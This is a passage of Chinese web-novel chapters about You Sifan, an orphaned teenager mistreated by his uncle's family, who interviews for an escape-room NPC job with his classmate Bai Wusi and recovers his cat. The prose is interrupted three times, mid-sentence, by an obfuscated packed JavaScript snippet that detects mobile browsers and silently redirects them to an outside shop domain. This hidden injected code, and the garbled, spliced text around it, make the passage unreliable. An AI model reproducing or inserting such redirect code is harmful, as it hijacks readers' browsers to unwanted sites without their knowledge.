游司梵的眼型很圆,钝感,没有棱角,看上去很好欺负,偏生眼尾拉成细长的收束,像翘起的小钩子,也像绒毛卷曲而飘忽的末端,好似可以轻易钓来本不属于他的命运筹码。 然而这些难得的锐气,皆被羽睫所掩盖。 深色的积雨云压在窗棂下,昏暗的天光在游司梵瞳底隐约地闪耀。 一束不应存在于阴天的阳光直直落下,曝烈的天色刹那照亮他朦胧的五官。 水红色的唇,因为羞涩而红至极点的脸颊,如同熟莓果一般的耳垂,粉里透白的锁骨和脖颈。 游司梵讶然地微微张嘴,又狼狈地移开视线,不敢再与镜中的自己对视。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022049|130940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那太清晰,分毫毕现,秘密和心思在直白的天光里无处遁形。 游司梵逃避似的转过身,背对穿衣镜,指尖抚上鱼尾裙的上端。 裙头是松紧带的设计,褶皱间的凹凸感好像靠得极近的山峰,包裹他柔软敏感的指腹。 游司梵在背光处抿唇。 这、这是他吗? 刚刚那一瞬间,游司梵仿佛隔去十八年的时空,第一次看清自己的相貌。 那些以往只在水彩中见过的色泽层次出现在他身上,层层叠叠,居然一点也不突兀。 浓墨重彩的,漂漂亮亮……的。 好像真的和别人嘴里夸的一样好。 游司梵垂下眼睫,稍稍弓起脊背,指尖一用力,褪下那条深墨色的包臀鱼尾裙。 他身形清瘦,唯有大腿略有肉感,久不见天日的白皙体肤下,隐约有一些运动的线条痕迹。 包臀裙的顶端设计很窄,哪怕加了松紧带,褪下也并非一件容易的事情。 它是贪婪的财奴,在最后留存的时机,狠狠刮过每一寸与之接触的肌肤。 “嘶。” 游司梵眉心蹙起,唇齿泄出一丝痛吟。 隔去十数小时,昨夜不慎撞到的膝盖越发疼痛,粗劣的布料仅仅是擦过而已,那片淤青便似着火一般疼痒起来。 游司梵绷直的腰背一紧,两个清浅的腰窝顿住不动。 约莫三秒后,他才曲起小腿,小心翼翼地抽离禁锢他一整晚的罪魁祸首。 粉红的足跟蹭过鱼尾裙,极具视觉冲击力的色彩对比转瞬即逝。 游司梵咬紧齿关,忍耐过于越界的酥麻,终于完成这项艰巨的换衣任务。 少年单薄的脊背在阳光下一闪而过。 唰—— 他尽力不用磕碰后伤到的腿,身体重心往一侧移,探出纤长的臂膀,微微塌腰,拉上聊胜于无的窗帘。 室内顿时陷入昏沉的黑暗。 游司梵面无表情,在晦暗里打开衣柜,开始翻找衣服。 刚刚心烦意乱,他脱完衣服才想起来没遮挡。 算了,反正早就被陌不相识的Forward全部看光,没拉窗帘又称得上什么大事吗? 游司梵麻木地拿出一条宽松运动短裤。铅灰色,是厚实的棉麻料子,没有花纹或者装饰,很朴素。 它温顺地叠好,躺在他的掌心,布料面还带有室内粘稠的闷热。 游司梵低低地轻叹一声。有懊悔,也有说不清道不明的羞恼。 若是纯粹的厌恶或者愤怒倒是好办,偏偏这事不黑不白,暧昧又难言。 真是,真是…… 一团糊涂乱账! 游司梵气呼呼地鼓起腮帮,又拾出一件纯白短袖,雷厉风行穿好这套来之不易的正常衣衫。 当然,百忙之中仍然注意避开膝盖的淤青。 理好衣摆,游司梵“咻”地站起来,神采奕奕。 在他遗忘的角落,一圈斑驳的红痕于腰间影影绰绰,又被落下的衣摆重新遮掩。 然而游司梵浑然不觉。 他洗漱完毕,侧脸还余有零落的水珠,嘴里衔着黑色细皮筋,稍微垂下脑袋,反手一顺,三下五除二扎好低马尾。 戴上黑色口罩,背好白色小挎包。 猫条,钥匙,零钱,手机,伞…… 游司梵收拾出行物品的手一停。 不对。 ……伞呢? 26.湿润的长睫 “啊,所以你这么早来敲开我的房门,就是为了问你那一把破伞。” 司子天黑着脸站在门后,语气极其暴躁。 他背后的遮光窗帘密不透风,整间卧室如同昼夜,昏暗至极。 游司梵甚至看不清司子天怒气冲冲的表情,无法观察他的心情,只能凭感觉开口:“堂哥,上次我将伞借你了,就三天前,你还记得吧?” “我着急去面试,堂哥……你要不先还我?”游司梵试探道。 “伞什么伞,现在是下雨了,还是下雪了?用得着你游大小姐打伞吗?”司子天上前一步,绝口不提伞是否在他这边,阴森森地瞪着游司梵,“矫情什么啊!不就是太阳吗,晒一下能怎么样,难道会把你晒死……” ……轰隆! 司子天话音未落,一道惊雷在他耳后蓦然炸响。 动静之大,仿佛是直接劈在他头顶。 像是一种警告。 闪电的紫光穿过厚重的遮光窗帘,无规则的嶙峋光束刹那充斥这处不见天日的卧室,将里头的凌乱与肮脏照的一清二楚。 随地乱扔的袜子;皱皱巴巴,满到溢出废纸篓的纸巾团;八百年没擦过的电竞显示屏和炫光键盘;以及直至现在都没扔的外卖盒。 估计里面残余的汤汤水水全馊了,正在成为细菌和蛆虫的绝佳孕育场所。 那些也就罢了,这位堂哥从来都不是爱干净的人。 游司梵捏捏挎包的背带,打量司子天的眼神欲言又止。 ……但是昨天用来盛三鲜包的瓷碟,为什么还在这个房间里? 司子天莫非已经忙到连冲洗餐具的时间也没有的地步? 也许是游司梵的疑惑和惊诧太过直白,毫不掩饰,虽然没有说出任何一句问话,虽然两人彼此间再次恢复先前伸手不见五指的黑暗,但司子天依然难得地噎住。 他张张嘴,肥硕的下巴抬出三道褶子,却一个字也蹦不出来。 操!故意来看老子笑话是不是! 司子天心底暗骂。 游司梵以为他终于要松口:“堂哥?现在快十点了,我去市中心还有半小时的路程,迟到不太好,你看伞……” “不是,你这么赶时间就赶紧走啊,还赖在这里做什么?伞伞伞,大清早就念叨这玩意烦不烦,你赶在下雨之前去到,停雨之后再回来不就得了!”刚熬完大夜睡下没多久的司子天声音粗嘎,恶声恶气,“都是成年人,这些小事还要我教你?” “快点滚开,别烦老子睡觉!” 啪——! 游司梵及时后退一步,木门险之又险,擦着他的鼻尖“砰”地关闭。 震荡的风吹动他的长睫。 源自于司子天房间的味道被隔绝,最后一丝若有若无的臭味倔强地存留几秒后,彻底消散。 游司梵看着那扇深棕色的木门,眼底的情绪并没有太大起伏。 刚刚换完笔芯的签字笔,参考书,直尺,辛辛苦苦做满笔记的本子。 从生活费抠出来,攒钱狠心买的巴斯克蛋糕;年节时叔婶给的10块钱小红包;一根受潮后难以点燃,蔫巴巴的,在游司梵拿起前司子天根本看不上的烟花棒。 他曾经被司子天恶意夺去无数件物品,现今不过是轮到伞而已。 游司梵指尖勾起口罩边缘,重新戴上。 塑料质感的纤维微微刺痛他的指腹,如同每次默默旁观,对司子天愈发过分的行径无动于衷的司二叔和司二婶。 他们是墙壁上和蔼可亲的装饰画,是拉偏架的伥鬼,粉饰太平,笑脸相对,沉默坐视一切的发生。 而这,不过是因为他们接手了一个无家可归的孩子。 一个猝然失去双亲的孤儿。 事情究竟是从什么时候开始变化的? 是三年前的除夕下午,游司梵惊闻噩耗后昏厥,被叔婶紧急送去急救室的一刻? 还是在遗产公证处,当司二叔为司麓和游兰的后事奔波整整一个月后,却得知“你大哥的那套房子属于厂里的公有财产,严格意义讲,那是宿舍,已经被厂里做主收回,所以无论是游司梵还是你,都没有继承权”的刹那? 或者是“小梵,婶婶这个月啊,家用吃紧,你堂哥要报补习班,你二叔要应酬,买烟买酒。唉,不是婶婶欺负你,就是你看你一直住在咱们家,那你爸妈给你留的那张卡……”的一瞬? 游司梵不知道。 他依稀记得八岁那年,是司二婶从司麓怀里接过他,笑着揉揉他的头顶。 “二婶和二叔买新房子啦,小梵以后多来玩,好不好呀?” 温馨而朦胧的记忆长出尖刺,像昆虫节肢的细绒,悄悄爬上游司梵的骨髓和脑海,徒留黏稠而冰冷的痕迹。 它静静观测少年的命运轨迹,在发现抚养不会得到暴利后,当机立断,开始合力逼他自己离开。 友善变作欺压,变本加厉,隔岸观火。 无须真正的打骂和霸凌,对待一个刚刚成年的少年,一个终日埋身题海的高考生,一个学校没有寄宿条件的可怜人,向他定时索要水电费,伙食费,杂七杂八的生活费,就已经完全足够形成困扰。 算了。游司梵想,算了。 反正很快就会结束这些黑暗。只要出高考成绩。只要填好志愿。只要上大学,努力兼职,工作,存钱,就此远离与他相看两厌的人和事。 就可以自这个不属于他的泥潭抽身而出。 游司梵低着头快步走过客厅,一反常态,没有和正在观看电视新闻的司二叔打招呼。 黑色口罩疏离地包裹他的脸颊,这是普通的尺寸,并未加大或缩小。 然而旁人身上恰好的尺度,却在游司梵脸上显得空空荡荡。 好似一方苍白而羞涩的暖玉,藏在深色的布幔之下。 一掌即可完全承托,任意把玩。 司二叔抽出唇间叼着的烟,两指曲起,将烟灰抖落已然堆起一座小山峰的玻璃缸。 那是已经堆积一段时间的灰烬,换句话说,他起码在客厅待了半小时打上。 电视的主播朗诵细若蚊吟,音量调的很小,他向来不会打扰司子天的白日睡眠,家里所有动静都控制在最小范围。 司子天的辱骂很响亮,可是对争执清清楚楚的司二叔,压根没挪屁股去调和。 “小梵,吃了吗?又要出门啊,”他惯常地微笑,问出一句废话,眼角眯起的笑纹乐呵呵的,好像与过往十八年的慈和无甚差别,“你啊,赚钱也要注意身体,年轻人,不用太拼。二叔虽然老了,但养你和子天嘛,也还是养得起的。” 游司梵顿住脚步,小扇般浓密的长睫仍然垂着,一滴碎珠似的泪一闪而过,快速隐蔽于口罩上端的无纺布。 又是如此。还是如此。 熟悉的糊弄和漠视,看似关切却暗藏机锋的语言。 弧度完全不变的笑容。烟灰缸高高垒起的余烬。电视液晶屏幕里反射出蓝光的主持。泛黄的米色墙纸。桌上装模作样的坚果和炒瓜子。 早餐后残余的油条味。汗味。干涩刺鼻的烟草燃烧着,云雾缭绕。 这是一个缓慢扭曲的黑洞,没有触手的软体怪物,一日一日地吞噬游司梵的骨肉,嚼碎了,又吐出来。 好恶心……好恶心啊。 三年里日夜忍受的烟味令游司梵无比厌恶,空无一物的胃翻江倒海,胃酸冲锋陷阵般上涌,他近乎按捺不住,要在中年男人面前干呕出声。 “……小叔。” 良久后,游司梵听见自己终于颤抖着开口。 他无法衡量沉默与停顿的尺度,也许方才那个瞬间仅仅过去1秒,也许他已经和司二叔彼此僵持一小时。 “劳烦您和婶婶说一声,昨晚那瓶药油,我还回去了,就放在梳妆台桌面。”他嗓音有点闷,像蒙在口罩里,钝钝的,并未回答司二叔的废话,“我出门了。” 话语的结尾,游司梵没有说再见。 他低着头,踩着自己浅浅的影子,脚上穿的白布鞋,还是三年前的年节街市,游兰给他挑选购买的那双。 短裤边缘掠过他膝盖深紫色的淤青,简单束起的发随步伐一晃一晃。 游司梵不言不语,就如此离开这个不欢迎他的家。 * 2718年6月17日-09:57 「终于去西北大环线自驾了!(3)」 [“chess”拍了拍“妈妈”,诶你怎么知道我去西北自驾游啦?] [“chess”拍了拍“爸爸”,感谢各位亲朋关心,鄙人陪老婆圆梦中。] [“chess”拍了拍自己,并祝福我6.29高考出分如愿以偿。] [chess]:@妈妈@爸爸 [chess]:我好想你们…… [chess]:小黑猫默默流泪.jpg * 2718年6月17日-10:11 [您已将“。”从黑名单移除。] [系统已自动恢复您拉黑“。”前的个人设置,如置顶,特别关心,一键收藏等。] [检测到“。”现在仍处于被您拒收消息的状态,是否解除?] [注:尊敬的年度SVIP用户,您拥有拒收消息时照常接收对方动态的特权,若您仍在犹豫是否解除拒收,可先保持动态接收的开启状态。] 2718年6月17日-10:15 [停顿时间过长,系统无应答,申请解除拒收“。”消息的操作失败。] [尊敬的年度SVIP用户,您仍然拥有随时解除拒收消息的权利,具体操作详解可查看“主页→我→设置→帮助→操作解析子目录→联系人”。] 2718年6月17日-10:39 [动态接收功能已开启。] [您可以随时查看“。”的动态了。] * “咦?你是也来面试的吗,这快下雨了,怎么不进去店里,还在外面站着呢?” 突然被人拍拍肩膀,哪怕力道不大,游司梵依旧一惊,条件反射地息屏。 屏幕上,正在编辑中的文档界面霎时暗下。 [Forward观察日记-章二-全文347字] [编辑状态:编辑中;保存状态:已自动保存] “啊,是、是的,我来这家密室逃脱面试NPC,”他有些局促,垂下手,但又怕视线躲闪不礼貌,只好鼓起勇气看向陌生人的眼睛,“老板是不是还没来?我看没开门,就想先在外面等一会……” 游司梵赫然对上一双灿金色的眼瞳。 面前的少女齐刘海,黑长直,是最清纯乖巧的长相,然而她的妆容和衣着可不是那么一回事。 耳骨钉,耳链,耳环,项链,眉钉,手镯,她一个都没落下。 如太阳一样灿烂的金色美瞳,色彩极其碰撞的吊带紧身上衣,挺括而松垮的浅蓝牛仔裤,至少增高5厘米的厚底老爹鞋。 她朝游司梵扬起热烈的笑容,头轻轻一歪,身上那堆乱七八糟的链子登时叮叮当当。 “噗。原来是你啊?刚才隔得远,我还以为你扎着头发,是女孩子呢!” 游司梵有些茫然:“啊,嗯,天气热了,就顺手扎一下。” 她怎么……好像是认识自己的样子? 可是这么有特色的打扮,他但凡见过,就不大可能毫无印象吧? “怎么样,你考完估分没?我烦死高考了,根本不想再想,但我姐硬要我查,不然就不许我在店……咳咳!” 她猛然咳嗽起来,一个急刹止住话尾。 游司梵还没想明白,然而女孩已经匆忙挽上他的手臂,亲亲昵昵地往密室逃脱店里走了。 仿佛在急切转移他的注意力。 “诶,你说咱们前几次模拟考,按排名排列的考试座位不是前就是后,最后的高考分数是不是也应该差不多啊?”她比游司梵略矮些许,黑而长的柔软发梢拂过少年紧绷的手背,像两只许久未见的小动物贴贴,互相嗅嗅生疏的味道,“如果估的分没错,我应该会去X大,W城综合大学那全国top1梦校也就只在梦里想想了,真要上,估计得多40分起步……你呢?你想去哪所?” 她一口气抛出几百个问题,直接把游司梵砸得晕头转向。 他所有思绪皆被叽叽喳喳的问话占满,根本没空留意少女悄悄瞄他一眼。 她确认游司梵没有看见后,就敏捷而迅速地从兜里掏出钥匙,做贼一样打开店门。 叮咚—— 门楹的风铃微微一碰,低温干爽的冷气迎面而来。 “我?我,看情况吧,无论如何都行,最近太忙了,还没有空想志愿……你说到前后桌,哎?前后桌?” 踏入密室逃脱店门的一刻,游司梵猛然回神,侧首看向亚风格打扮的少女。 那张脸蛋的钉子装饰桀骜不驯,眼神却是善意地笑着,在某个瞬间,与游司梵记忆里的一位校服女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038258|130940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生无限重合。 每次考试前,她会向游司梵点头致意,有时候互相借过涂卡笔和橡皮应急。 虽然除去齐刘海和黑长直,她们好像再没有半分相似。 那个长发女生,她应该没有这么多面饰耳饰……应该,应该! 至少当时是没有的吧! 游司梵震撼。 游司梵恍然大悟。 游司梵摘下口罩,杏眼微微张大,显得越发圆润,如同一只发现新鲜事物的猫咪:“你,你是白……白同学?” “白无思。等会面试结束,加个雁书呗?”白无思微微一笑,眉钉闪过一丝源自天花板的白炽灯光,“那么现在……” “NPC面试正式开始!” 咔嚓! 原本大开的灯光在刹那间熄灭。 挽着游司梵的手臂抽离,空荡荡的空调冷气缠上他的身躯。 咔嗒,咔嗒。轻盈的脚步声逐渐远去。 白无思离开了。 游司梵的指尖不自觉地颤动一瞬。 白无思带他进来的门是侧门,正面还在装修,外立面的支柱钢架都没拆,倒是里头已经大致整理完毕,很有冷肃的密室氛围。 如今灯一关,各项摆设影影绰绰,更加渗人。 白天时分,不至于完全陷入伸手不见五指的黑暗,但要想看清楚那些乌漆墨黑的物件,很难。 对初来乍到,压根来不及熟悉地形的游司梵来说,更难。 “喂,喂——1,2,3,123123123,咳咳,听得见哈,麦没问题。”渐响的音响声亮起,白无思略显沙哑的声音自游司梵头顶传来,“嗯哼,面试者请听题。” “一,你怕黑吗?” “……嗯。”游司梵没想到她搞出这么大阵仗,又关灯又吓人,结果是问这个,“我应该是不怕的。” “哦哦好。” 唰唰唰,白无思好像紧急翻出一个本子,开始记录些什么,游司梵甚至听见笔盖被她蹦至地面的声响,很清脆。 是了。考试时邻座的那个女生也经常这样,每次掉签字笔或者笔盖都是常事,坐游司梵前面就往后掉,坐后边就向前掉,就如一根时刻跟随他摇摆的分针。 游司梵已经习惯打铃结束后戳戳她,将那些属于她的零碎物件儿一起还过去。 “谢谢你呀!” 记忆中,就差把“好学生”三个字刻脑门上的白无思满脸乖巧,刘海一丝不苟,完全看不出鏖战题海两个半小时的狼狈。 她总是笑意盈盈。 “第二道问题——请问你体育成绩如何?跑1000米最佳成绩多少?身体有没有不适合剧烈运动的隐疾,例如哮喘、先天性心脏病之类的病症?” 游司梵:“……” 不是,这叫他该怎么回答! 不擅长运动的他眼神飘忽,左顾右盼,支支吾吾。 “这位面试者,”白无思用笔头敲敲桌面,叮叮咚咚地催促,偏低的嗓音经过音响的共振与扩散,竟有一种难言的压迫感,“请尽快回答哦。” 磨蹭片刻后,实在不能再拖,游司梵才谨慎答道:“在校时,我每天认真参与全校跑操,保持锻炼。” ——吊车尾的那种。 ——求求别问我具体的体育成绩! “平时1000米都可以顺利完成。” ——跑完当场跪倒在塑胶跑道,不是因为别的原因,纯粹透支体力,过劳。 ——话说起来,他其实应该申请跑女生的800米嘛!当时怎么这么笨!这么实诚! “身体健康,没有先天的,不能剧烈运动的隐疾。” ——比常人多一套生理系统这事不算。 ——无论按女性还是男性算,多一个()也不会影响他做密室逃脱NPC。 ——毕竟是凭身体和演技做NPC,客人或者东家根本不会在意()。 我很真诚,句句属实。 游司梵满意,暗暗点头,心下肯定自己的临场发挥。 我没有一句谎言,也没有骗人。 很好! “行,第三道问题——也是最后一项问题,”白无思记录完毕,煞有其事地清清嗓子,气沉丹田,硬生生念出新闻发布会的气势,“游司梵,若你作为本店聘用的密室逃脱工作人员,你是否愿意接受合理的工作安排?” 游司梵刚想说“愿意”,就听见她话锋一转。 “哪怕这个安排,是让你女装,扮演鬼新娘、闺阁小姐、芭蕾舞演员、公爵夫人等剧本相关角色?” “……”游司梵再次沉默。 这是什么由司子天引发的连锁反应吗?潘多拉魔盒一经开启,魔鬼就被放出来满世界乱窜? 一日穿裙子,一生穿裙子? 没想到白无思还没说完:“我家专门买了雨妾太太的剧本授权,为了还原故事剧情,让客人百分之百沉浸式体验,场景和妆造都是做全套的哦。意思是对应的女子NPC行头,我们都买好啦……” “…………”游司梵深呼吸。 他好像距离脱下那条劣质鱼尾裙,还不到两小时吧。 身上这条来之不易的短裤能撑过今天吗。 他所求不多,它撑到晚上洗漱换衣服就行,也算功德圆满。 但似乎这个愿望,即将于半途就此夭折。 “啊!难怪那个姐姐说,今天她推荐来面试的人绝对符合我们任何要求,”分明身处黑暗,游司梵仍然莫名感受到白无思炯炯有神的目光,“嗯嗯……果然以假乱真……雌雄莫辨……连假发都不用戴……又有这张天选的完美脸蛋,呵呵,呵呵呵……” “………………” 白无思的笑声回荡于店面空旷的角落,游司梵忍无可忍,咬紧齿关。 “我,愿,意,我愿意,我愿意。”他一字一顿,一口气连说三次,只想赶紧停止白无思的发散,“我愿意在作为贵店工作人员期间,接受合理的,工作范围之内的工作安排。只要……” “只要什么?”白无思追问。 游司梵稍微斟酌,还是选择谈谈薪资:“只要周薪不低于650元……不,其实不低于600就行。” 他还是犹豫了,话至嘴边,又自己往下压低薪资。 600元是康乐大酒楼给他开的条件。 游司梵算过,再低于这个数字,他连凑够去念大学的费用都难。 但是…… 白无思会答应吗? 27.雨 场面一度寂静。 麦克风大抵离白无思很近,她写字或是略有动作的响声都会收录,可此时此刻,先前一直存在的清浅呼吸声也暂时停止。 僵持。 停滞。 黑暗中,游司梵的心一点一点往上提。 等待未知的过程,远远比知晓结果本身更难耐。 他垂落身侧的手攥住衣服下摆,那团棉质布料的质感并不粗糙,现下却像砾石般挤压他的指肉。 胃酸在翻涌,眨眼也变得艰涩,持续的每一秒宁静都在折磨游司梵。 他仿佛回到不久前与闻濯面面相觑的情景。 那次沉默的对峙,游司梵一败涂地。 因为他的自大,当时完全没意识到自身糟糕的着装。 然而现在呢?在现在这场有关于薪资的讨论与博弈里—— ——他会赢吗? “咕噜。” 唾液吞咽的声音。经由麦克风放大后,在寂静中略显突兀。 是白无思发出的动静。 它好似一道惊雷,骤然敲落游司梵惴惴不安的心弦。 “……” 游司梵稍微昂起下颌,腰背绷直,脖颈的曲线修长而优美,如同黑夜里应激的炸毛猫咪。 “600元不行,不行吗?或者我们可以再谈……” 但他踌躇的话尾直接被白无思打断。 “姐!姐姐!!白筝,白筝你听到了吗!快把合同拿出来签约!” 白无思激昂万分,一边用麦大声演讲,一边眼疾手快,“啪”的一下开启所有灯光。 噔——! 游司梵被忽然大亮的光一刺,眼眸难耐地闭起,生理性的清泪沾湿小扇似的长睫。 他立于大堂中心,射灯的光束尽数集于身上,那些冷感的白色耀光一映,眼睫末端的泪滴宛若被岁月润泽的南珠,闪烁源自光阴沉淀的色彩。 游司梵恍然间似乎成为某个故事的主角。 没有高贵冷艳,没有隔阂,唯有摇摇欲坠的破碎,看起来脆弱又可怜。 是邻家很好说话的小猫,学一声四不像的猫呜,也能把他唤出来。 可以揉耳朵,摸摸脑袋,顺时针搓揉毛绒绒的肚皮。 游司梵不会生气。 他就是这么好性子,一些微不足道的叛逆和反骨仿佛全然留在过去,在游兰和司麓安葬的瞬间,与他的父母一道深深埋入地下。 墓碑的黑白相片灿烂大笑,半米之外,15岁的游司梵头发还没留长,仅仅及耳而已。 他唇角勉强勾起一抹难看的微笑。 那天万里无云,天色蔚蓝无际,X城冬日难得一见的暖阳高悬空中,近乎曝光的亮度充斥墓园每一个角落。 嗡…… 有虫豸翅膀震动的细响。 极小的黑虫恍若是跨越生与死的蜉蝣,自松叶顶端跃至另一侧,四季常青的针状叶上下一颤,像为即将入土的夫妻兼邻居问好致意。 X城习俗,亡者皆会在墓前拥有一棵属于自己的松树,游兰和司麓合葬,他们的树也并排而植,紧紧靠在一起。 如同生前一般。 游司梵穿着黑色羽绒服,长睫在阳光照射下现出近乎灿金的透明。 那日当真是极好的晴天,大面积的清晨阳光洒落整个墓园,灿烂的,过曝的,白色而耀眼的。 但游司梵感受不到丝毫暖意。 不存在的寒风透过羽绒服的缝隙,直直刺入骨髓和心脏。 他好像被定格在原地,父母的生命止步于此,而他什么也做不到,挽救不了。 游司梵只能睁着红肿干涩的眼睛,目视黄土落下,目视两个洁白的骨灰盒逐渐被掩埋,彻底退出他继续向前的命运。 生死永相隔。 往后许多年,便只是他们与新栽的树互相作伴了。 “节哀顺变。” “你爸妈还这么年轻……天不遂人愿,真是可惜。” “不要太伤心啊,小梵,你往后的路还很长呢。” 不甚相熟,浮于表面的安慰,流水一样挨个掠过游司梵。 “听说司麓就一个弟弟,而游兰那边早就和家里断来往了?那游司梵怎么办,天可怜见的,又还没成年,连多一个能依靠的亲戚都没有。” “那边帮衬着操办丧事的男人就是司麓他弟,游司梵应该是暂时寄养去他家吧。” “费用那些怎么说?亲兄弟也要算明账,何况那只是一个尴尬的侄子?难,难啊。” “所以你看那孩子不是一直哭么,也不知道是在哭爹妈,还是哭自己。” 远处杂七杂八的低声讨论,感慨有之,叹息有之,揣测有之,并未特意避开被议论的当事人游司梵。 “唉,他们走的这么突然,又没留下个一言半语,瞧把孩子给难受的……再这样哭下去,眼睛和身体不得垮掉?” “别哭了,司梵,别哭了啊。” 有人走上前,轻轻拥抱游司梵瘦削单薄的肩头。 她的掌心很温暖。 “好端端的,怎么哭起来了?面试这么委屈吗?”女子的言语不疾不徐,很有安定人心的力量,“别担心,白无思刚才吓你的,我们不是康乐大酒楼那样的坑人黑店,不会真按周薪600元这个黑心价雇佣你。” 游司梵揉揉眼尾,换来满手湿润的泪痕。 “我以为,以为这个薪资太高了?……” 他小小声地吸鼻子,羞涩地抬头,却见一位与白无思长相极其相似的女子,正朝他微笑。 白无思叮叮咚咚地跑过来,递给游司梵一份合同。 “日薪350元,包工作餐,夜场加班有双倍补贴,”白筝简明扼要,雷厉风行,“这几天我会组织上岗培训,工资照常按出勤算。” “怎么样?白无思的邻桌同学——” “来不来我们店做NPC?” 游司梵觉得自己好像在做梦。 反复确认待遇、工作时长、工作内容都没错后,他晕晕乎乎,在那份看起来很规整的合同签下大名。 游司梵。楷体。白纸黑字。 “梵”的落尾,他习惯性地往上轻轻一勾。 犹如一株攀附破旧墙壁的倔强野花。 一眼望去,这三个烂熟于心的字,仿佛和高考密封线外,曾经工工整整填上的姓名或者考号,没有什么太大的不同。 都只是他而已。 签完合同也才12点不到,白无思说什么也要留他一起吃饭,游司梵推脱不过,唯有恭敬不如从命,和刚刚形成雇佣关系的老板们共进一餐从康乐大酒楼叫的外送。 “这叫有始有终。”白无思如是道,“他们家薪资黑心,食物却是很好吃的。” “司梵你快尝尝,争取早日吃垮他们!” 她摇头晃脑,表情煞有其事,配上极其哥特的面饰和耳饰,仿佛下一秒就要拔出长刀,带刚刚义结金兰的新朋友冲去反派家里打脸虐渣。 游司梵真切地笑了。 他眼眶仍然带有湿润的潮红,深黑色的长睫经过泪水浸润后,分作小三角似的一缕缕,很像漫画里浓墨重彩的笔触。 “谢谢,无思,谢谢你。”他眉眼弯弯,饱满的唇扬起可爱的弧度,脸颊抿出浅淡的漩涡,藏在角落里,要很仔细才能看清,“不是说要加雁书好友么?我来加你,好不好?” 菜式是不是真那么好吃,游司梵没有太深的印象。 麻辣鲜香的滋味在味蕾滚过一遭,他的心思很快被旁的事物牵走。 在白无思的强烈建议下,游司梵一整个下午都在试穿NPC服装。 白无思亲自上阵,说到做到,为他整理裙摆,梳头,编发髻,化妆,她乐此不疲,还在他要离开时帮忙卸妆和重新扎辫子,戴好口罩,才允许他走出店门。 “快回去吧司梵!天气预报说50分钟后会下暴雨,够你回家啦,没带伞也不用担心!有事雁书联系!” 隔去大半条街,白无思踮起脚,朝游司梵欢快地摆手再见。 “拜拜——还有,你穿裙子真的很漂亮哦!超级,非常,巨巨巨——好看!” 游司梵又笑了。 他刚想说点什么,手机却微微一震。 [雁书:尊敬的年度SVIP用户,您有来自“白无思”的新消息。] [W城综合大学你就不能垂怜我吗]:我说的都是肺腑之言,绝不掺假~ [W城综合大学你就不能垂怜我吗]:终于和你成为朋友啦,好开心好开心(Q版小老虎咆哮.jpg) 踏实而充盈的愉悦于游司梵胸腔漫开,他微微垂着头,指尖点点屏幕,唇角微笑不觉加深几分。 [cheese]:小黑猫转圈圈.jpg [cheese]:我也好高兴 游司梵没有说场面话骗人。 一场缺席已久的雨终于降临,他贫乏的世界似乎变得幸运,名为“爱”的情感如甘霖一般,滋润他的皲裂与悲伤。 那是来自Forward和白无思的善意。 游司梵走过半个街区,琳琅满目的铺子浮光掠影,咖啡和甜点的香气芬芳馥郁,暖调的光在阴沉天色下尤为温馨。 风起云涌,暴雨将至,雨的腥气正在降临。 少年于一家书咖前驻足,再次点开雁书,决定把闻濯从拒收消息的小黑屋里解放。 游司梵的神色很认真,渐暗的日光笼罩在他身后,深灰的积雨云不断累积,像层层叠叠的油画,唯有他的眼瞳倒映出略亮的光泽。 很正经,很漂亮,如同剔透的九色琉璃。 没有人知道他脑海纠结成麻花,因此忽略街角一个探头探脑的猫脑壳。 蓝色瞳孔的黑猫竖起尾巴,猫猫崇崇,就躲在五米开外的灯箱背后。 盯—— 游司梵仍在看着系统提示迟疑。 [是否解除拒收“。”消息的禁制?] 他的指尖在[是]上方徘徊,有意无意擦过那个微软雅黑体的字眼,然而偏偏就是不按下去。 取消小黑屋好办,简简单单,直接摁就完事。 但是结束冷战,那方寸狂欢……是不是也要下载回来? “……哼。”半晌后,游司梵意义不明地轻哼一声,两颊却再次泛起水润的嫣红,宛若晚霞时分的火烧云,即将落幕,却灿烂非常,“回到家再说好了……诶?” 他感觉鞋带被什么东西咬住,狠狠往外一扯,似乎很愤怒的样子。 而且力道很敦实,并不算小,他一个踉跄,向前跨两步才稳住身体。 游司梵莫名其妙,低头往下看:“……怎么回事?” “喵!”娇滴滴的猫叫打断他的疑问,一张毛绒圆乎的猫脸龇牙咧齿,“喵呜!” 游司梵怔在原地。 “小咪?我没看错吧?嗯……这个颜色的眼睛和体型,附近应该没有第二只……”他喃喃自语,缓缓蹲下身,“但你昨天不是生我气,跟那个偷猫贼回家了吗?” 黑猫还在试图生气,和游司梵的白鞋带搏斗。 “咪呜。” 它口齿不清地叫唤,倒像在黏黏糊糊地撒娇。 “哦,你说你思来想去,最终发现还是只喜欢养大你的饲养员——我,对不对?” 也不知道游司梵是怎么从短短一句猫叫解读出如此多的含义,总之说完一长串极具个人色彩的揣摩后,他脸不红心不跳,竭力压住快要溢于言表的狂喜,一把叉起黑猫,把猫小姐高高举起。 “喵喵喵!?” 黑猫吓出飞机耳,因为肉多而显得格外短的前肢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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书咖的隔音很好,外头的雨何其大,传到闻濯耳畔,也不过剩下些许无伤大雅的杂音。 